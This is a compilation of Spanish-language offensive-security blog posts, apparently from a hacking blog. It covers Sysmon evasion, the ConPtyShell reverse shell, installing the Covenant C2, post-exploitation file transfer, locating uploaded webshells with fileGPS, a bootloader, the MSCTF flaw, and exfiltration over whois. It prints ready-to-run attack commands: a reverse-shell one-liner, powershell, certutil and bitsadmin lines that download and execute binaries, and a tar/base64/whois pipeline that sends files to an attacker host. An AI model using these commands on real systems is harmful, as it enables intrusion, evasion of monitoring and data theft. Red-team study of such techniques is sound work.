Shhmon: silenciando Sysmon descargando su driver

Como ya sabéis, Sysmon es una herramienta que tiene la capacidad de detectar muchos indicadores que genera un atacante como la creación de procesos, cambios en el registro, creación de archivos, entre muchas otras cosas.

Sysmon se compone de 2 piezas principales: un servicio del sistema y un driver. El driver proporciona al servicio información que el usuario procesa para su consumo. Tanto el servicio como los nombres del driver se pueden cambiar para ocultar que se está ejecutando Sysmon en el host.

Pues bien, para evadir la detección de Sysmon Matt Hand aka matterpreter ha publicado Shhmon, una herramienta escrita en C# que propone la descarga del driver de Sysmon por el usuario sin fltMC.exe mientras que el servicio continúa ejecutándose.


A pesar de que Sysmon puede cambiar el nombre del driver durante la instalación (Sysmon.exe -i -d $DriverName), por defecto se carga siempre con una altitud predefinida de 385201.

ConPtyShell: una shell inversa totalmente interactiva para Windows

ConPtyShell de LupMan es una shell inversa totalmente interactiva para sistemas Windows.

La introducción de la Pseudo Consola (ConPty) en Windows ha mejorado mucho la forma en que el sistema operativo de Redmond maneja los terminales. ConPtyShell utiliza esta función para transformar literalmente bash en un "PowerShell remoto".

A grandes rasgos, esta herramienta crea una Pseudo Consola y conecta 2 pipes. Después crea el proceso de shell (por defecto powershell.exe) adjuntando la pseudo consola con una entrada/salida redirigida. Y luego comienza 2 subprocesos para E/S asíncrona:

- un hilo para leer desde el socket y escribir en el pipe de entrada de la Pseudo consola;
- el segundo hilo para leer desde la pipe de salida de la Pseudo consola y escribir en el socket.

ConPtyShell es una shell inversa pero no un método para hacer un upgrade a una consola completamente interactiva.

NOTA: ConPtyShell usa la función CreatePseudoConsole(). Esta función está disponible desde Windows 10/Windows Server 2019 versión 1809.

Requisitos

Lado del cliente: versión de Windows >= 10/2019 1809

Lado del servidor: cualquier listener tcp, típicamente netcat

Uso

Es importante tener el mismo tamaño de filas y columnas en el terminal local y en el remoto si queremos tener una salida alineada.

Método 1

En este método, el tamaño del terminal se establece sin pasar los parámetros de filas y cols a la función Invoke-ConPtyShell:

Lado del servidor
stty raw -echo; (stty size; cat) | nc -lvnp 3001

Lado del cliente
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1); Invoke-ConPtyShell 10.0.0.2 3001

O, si subimos el ps1:
IEX(Get-Content .\Invoke-ConPtyShell.ps1 -Raw); Invoke-ConPtyShell 10.0.0.2 3001

Donut: generador de shellcodes capaces de cargar assembly .NET en memoria (2 de 2)

En el post anterior de esta serie vimos el funcionamiento de los donuts. Ahora, en esta segunda entrada, vamos a ver qué podemos hacer con esta herramienta, es decir, nos centraremos en casos prácticos.

Primero cargaremos un stager de unos de los c2c de moda, Covenant, luego cargaremos un desarrollo propio de HackPlayers como es Salsa-Tools y por último veremos como cargar payloads de Metasploit sin que salte el antivirus.

Bien, en primer lugar, veamos cómo se instala Covenant.

wget -qO- https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > microsoft.asc.gpg
sudo mv microsoft.asc.gpg /etc/apt/trusted.gpg.d/
wget -q https://packages.microsoft.com/config/debian/9/prod.list
sudo mv prod.list /etc/apt/sources.list.d/microsoft-prod.list
sudo chown root:root /etc/apt/trusted.gpg.d/microsoft.asc.gpg
sudo chown root:root /etc/apt/sources.list.d/microsoft-prod.list
sudo apt-get install apt-transport-https
sudo apt-get update
sudo apt-get install dotnet-sdk-2.2
git clone --recurse-submodules https://github.com/cobbr/Covenant
cd Covenant/Covenant
dotnet build
dotnet run


Con este pequeño script, podemos realizar la instalación. Le damos permisos de ejecución :

    • “chmod +x installl-covenant.sh”



Esperamos a que se realice la instalación de Covenant y, una vez finalice, nos levantará un servidor web. Ese servidor web lo usaremos para controlar los equipos que tengamos backdoorizados.


Técnicas para transferir archivos durante una post-explotación

Normalmente en cualquier ejercicio de red team cuando se consigue acceso a un sistema tendremos que ingeniárnoslas para subir distintos archivos, continuando así con el proceso de post-explotación.

Recientemente he visto un paper muy completo en Seebug del chino xax007 con un montón de técnicas que siempre conviene tener a mano:

Crear un servidor HTTP

Los siguientes comandos iniciarán el servicio HTTP en el directorio actual, en el puerto 1337.

python2:
python -m SimpleHTTPServer 1337

python3:
python -m http.server 1337

Ruby:
ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 1337, :DocumentRoot => Dir.pwd).start'

Ruby 1.9.2+:
ruby -run -e httpd . -p 1337

Perl:
perl -MHTTP::Server::Brick -e '$s=HTTP::Server::Brick->new(port=>1337); $s->mount("/"=>{path=>"."}); $s->start'
perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 +? "./$1 |" : $1) if /^GET \/(.*) / })'

PHP 5.4+:
php -S 0.0.0.0:1337

busybox httpd:
busybox httpd -f -p 8000

Descargar y ejecutar archivos desde el servidor HTTP

A continuación se muestran algunas maneras de descargar y ejecutar archivos desde un servidor HTTP utilizando las propias herramientas del sistema en sistemas Windows y Linux.

WINDOWS

powershell:
powershell (new-object System.Net.WebClient).DownloadFile('http://1.2.3.4/5.exe','c:\download\a.exe');start-process 'c:\download\a.exe'

Certutil:
certutil -urlcache -split -f http://1.2.3.4/5.exe c:\download\a.exe&&c:\download\a.exe

bitsadmin:
bitsadmin /transfer n http://1.2.3.4/5.exe c:\download\a.exe && c:\download\a.exe

FileGPS: herramienta para encontrar un archivo renombrado a través de un formulario de upload

Cuando estamos auditando un sitio web y logramos subir una webshell o simplemente un archivo de prueba a través de un formulario de upload, generalmente se renombra de varias maneras para evitar el acceso directo, RCE o su sobrescritura.

fileGPS es una herramienta que utiliza varias técnicas para encontrar el nuevo nombre de archivo, después de que el script correspondiente del lado del servidor cambie el nombre y lo guarde.

Algunas de las técnicas que fileGPS prueba son:

- Varios hashes del nombre del archivo
- Varias combinaciones de timestamps
- Nombre de archivo + tiempo de PHP() hasta 5 minutos antes del inicio del script
-  Muchos mas

Características

- Fácil de usar
- multihilo
- soporte proxy HTTP(s)
- agente de usuario aleatorio
- cerca de 100.000 nombres de archivo

Instalación

En ParrotOS:

sudo apt install filegps

En BlackArch Linux:

pacman -S filegps

En otras distros:

git clone https://github.com/0blio/filegp

Ejemplos de uso


fileGPS -u http://target.com/upload/images --file shell.php

fileGPS -u http://target.com/upload/images --file shell.php --modules shame,mytestmodule

fileGPS -u http://target.com/upload/images --file shell.php --proxy 127.0.0.1:9050 --cookie mycookies

Cómo escribir un módulo

Escribir un módulo es bastante simple y permite implementar formas personalizadas de generar combinaciones de nombres de archivo.

A continuación se muestra una plantilla para los módulos:
#!/usr/bin/env python
# -*- coding: utf-8 -*-

"""
  Module name: test
  Coded by: Your name / nickname
  Version: X.X
  
  Description:
    This module destroy the world.
"""
output = []

# Do some computations here

output = ["filename1.php", "filename2.asp", "filename3.jar"]

Las variables url y filename se importan automáticamente del script core, por lo que se pueden llamar en su módulo.

Una vez que escribamos nuestro módulo simplemente tendremos que guardarlo en Modules/ y se importará automáticamente una vez que se inicie el script principal.

Repo: https://github.com/0blio/filegps

Donut: generador de shellcodes capaces de cargar assembly .NET en memoria (1 de 2)

En 2015, el AMSI (Antimalware Scan Interface) fue integrado en varios componentes de Windows usados para ejecutar scripts (VBScript, JScript, PowerShell). Casi al mismo tiempo, se agregó a PowerShell Script Block Logging permitiendo capturar el contenido completo de los scripts que se ejecutan, eliminando así cualquier ofuscación utilizada. De esta manera los Red Teams tuvieron que dar otro pasito y empezaron a usar ensamblados o assemblies (suena mejor en inglés) generalmente escritos en C#. Ahora lo veremos en más detalle que son, pero adelantaros que los assemblies brindan toda la funcionalidad de PowerShell pero con la clara ventaja de cargar y ejecutar completamente desde la memoria y además hoy en día casi todas las máquinas con microsoft Windows tienen el framework .NET instalado que pueden usarlo así que ¡buena combinación!

Ya sabéis que .NET fue creado para rivalizar y reemplazar a Java por lo que tiene ciertas similitudes. Es "compilado" a CIL, un lenguaje intermedio y usa código managed compilado just-in-time por el CLR (además de poder operar con código unmanaged o nativo). Soporta C#, F#, C++/CLI, PowerShell, JScript, VBScript, IronPython, IronRuby y permite operar entre ellos. Antes de comenzar, debemos comprender algunos componentes importantes de .NET.

- CLR o Common Language Runtime: al igual que Java, .NET utiliza un entorno (o "máquina virtual") para interpretar el código en tiempo de ejecución. Todo el código .NET se compila en un lenguaje intermedio al código nativo "Just-In-Time" antes de la ejecución.

- CIL o Common Intermediate Language: hablando de un lenguaje intermedio, .NET usa CIL (también conocido como MSIL). Todos los lenguajes .NET (de los cuales hay muchos) están en "assemblies" en este lenguaje intermedio. CIL es un lenguaje assembly genérico orientado a objetos que se puede interpretar en código máquina para cualquier arquitectura de hardware. Como tal, los diseñadores de lenguajes .NET no necesitan diseñar sus compiladores en torno a las arquitecturas en las que se ejecutarán. En cambio, simplemente necesitan diseñarlo para compilarlo en un idioma: CIL.

- Assemblies .NET: las aplicaciones .NET se empaquetan en .NET Assemblies. Se llaman así porque el código de su lenguaje elegido se ha "ensamblado" en CIL pero no se ha compilado realmente. Los assemblies usan una extensión del formato PE y se representan como un EXE o una DLL que contiene CIL en lugar de código de máquina nativo.

- Dominios de aplicación: los assemblies se ejecutan dentro de una "caja" segura conocida como dominio de aplicación. Pueden existir varios assemblies dentro de un dominio de aplicación, y pueden existir múltiples dominios de aplicación dentro de un proceso. Los AppDomains están destinados a proporcionar el mismo nivel de aislamiento entre los ensamblajes en ejecución que normalmente se proporciona para los procesos. Los subprocesos pueden moverse entre AppDomains y pueden compartir objetos a través de la organización y los delegados.

Escribiendo un sencillo bootloader

Algunos tipos de malware se guardan así mismos en el Master Boot Record (en adelante MBR) como método de persistencia arrancándose durante el proceso de inicio del sistema. Recientemente, Marco Ramilli (basándose en los trabajos de Prabir Shrestha y Martin Splitt) explicaba brevemente como funcionaba el MBR y cómo escribir un programa bootloader, skill básica que nos ayudará a analizar artefactos de malware que implementen esta característica.

¿Cómo funciona el proceso de arranque de un PC?

En realidad, el proceso de arranque es súper fácil. Cuando presionamos el botón de encendido, proporcionamos la potencia necesaria para la electrónica del PC. Una vez que se enciende la BIOS, comienza ejecutando su propio código almacenado y cuando termina de ejecutar sus rutinas de inicialización, busca dispositivos de arranque.

Un dispositivo de arranque es un dispositivo conectado físicamente que tiene 521 bytes de código al principio y que contiene el número mágico de arranque: 0x55AA como últimos 2 bytes. Si la BIOS encuentra 510 bytes seguidos de 0x55AA, toma los 510 bytes anteriores los mueve a la RAM (a la dirección 0x7c00) y asume que son bytes ejecutables. Este código es el llamado gestor de arranque.

Solo una nota al margen: el gestor de arranque se escribirá en 16 bits ya que las CPU compatibles con x86 funcionan en "modo real" debido al limitado conjunto de instrucciones disponibles.

El código asm

El siguiente código en ensamblador con la sintaxis AT&T se ejecuta en el arranque mostrando 3 strings y una especie de progresión a modo reloj. Como la BIOS está "cerca" de la memoria, podemos usar un conjunto completo de instrucciones de BIOS e interrupciones como se muestran a continuación:

1. Int_10,02 para configurar el tamaño de la pantalla
2. int_10,07 para limpiar la pantalla de las salidas de la BIOS
3. int_12a, 02 para configurar las posiciones del cursor
4. int_1a, 02 para leer el estado del reloj
5. int_10,0e para escribir caracteres en la pantalla

Una #DEFCON muy especial

La semana pasada tuve el placer de asistir al mayor evento de seguridad informática del mundo: la #defcon en su edición número 27 y vamos a contar la experiencia...
Pues si estáis pensando en ir a la #defcon en próximas ediciones, este artículo os puede servir de referencia.

CONTEXTO

Después de mucho tiempo hablando con mi compinche @JR_kneda sobre ir a este evento, decidimos comprar los vuelos y el hotel en Enero, ya que no nos lo pagaba la empresa, y teníamos pocos días disponibles para la aventura.

EL VIDEO

Al lío, en este video-resumen que se ha trabajado mi compinche, lo tenéis casi todo resumido:
DEFCON 27 from Security and Ethical Hacking on Vimeo.

De XP a Windows 10: explotando Microsoft CTF

Tavis Ormandy de Project Zero de Google ha publicado una vulnerabilidad que afecta a todas las versiones de Windows, desde XP a 10.

El problema está en el subsistema MSCTF que es parte del framework de servicios de texto o TSF (Text Service Framework). El TSF administra cosas como métodos de entrada, distribuciones de teclado, procesamiento de texto, etc.

Hay dos componentes principales, el servidor/monitor ctfmon y el cliente msctf. El servicio ctfmon arranca cuando se inicia sesión en la máquina como puedes comprobar simplemente viendo el administrador de tareas:


Este servicio crea un puerto ALPC (Local Inter-Process Communication) al que las aplicaciones se conectan para intercambiar mensajes sobre cambios en el layout del teclado o métodos de entrada. Cuando cualquier proceso crea una ventana, el kernel invoca una devolución de llamada o callback, USER32!CtfHookProcWorker, que carga automáticamente el cliente msctf.

El cliente se conecta al puerto ALPC y manda su HWND, el subproceso y la identificación del proceso.

El servidor espera continuamente los mensajes de los clientes, pero los clientes solo buscan mensajes cuando se les notifica a través de PostMessage(). Esta es la razón por la que los clientes llaman a RegisterWindowMessage() al inicio.

Exfiltrando información con un simple comando 'whois'

Hoy en día solemos abrir el navegador y usar servicios web de 'Whois' para consultar el dueño de un dominio o dirección IP. Pero no olvidemos que Whois es también un protocolo TCP que se creó en los años 80 y que todavía podemos usar desde la línea de comandos: sólo tenemos que tener el puerto 43/TCP abierto y podremos consultar directamente un dominio e información de AS e IP... ¿¿sólo??


Pues evidentemente y como habréis podido imaginar podemos usar también 'Whois' para el "mal", como por ejemplo exfiltrar información a través de este protocolo. Andy Kawa nos enseñaba un método sencillo para hacerlo. Veamos cómo...

En la máquina del atacante levantamos un netcat y lo dejamos a la escucha, volcando la salida también a un fichero:

ncat -k -l -p 4444 | tee files.b64

Y ahora, desde la máquina que hemos comprometido o desde la cual queremos transferirnos un fichero simplemente tenemos que empaquetar el directorio que queramos exfiltrar y mandarlo en base64 (recordar que tenemos que tener el puerto 43/TCP abierto). En mi caso, como veréis a continuación, en vez de mandar una cantidad determinada de bytes lo limitaré por número de caracteres:

tar czf - /path/to/directory/* | base64 | tr '\n' '\0' | xargs -0 -s 2000 timeout 0.03 whois -h attacker.machine.IP -p 4444


Una vez recibido el "stream" en base64 sólo tenemos que realizar los pasos a la inversa para obtener el binario:

$ file files.b64
files.b64: ASCII text, with very long lines, with CRLF line terminators


$ cat files.b64 | tr -d '\r\n\ ' | base64 -d > exfiltered.tar.gz 

$ file exfiltered.tar.gz
exfiltered.tar.gz: gzip compressed data, last modified: Mon Aug 11 02:47:24 2019, from Unix


Y ya está! tenemos en la máquina del atacante el fichero transferido.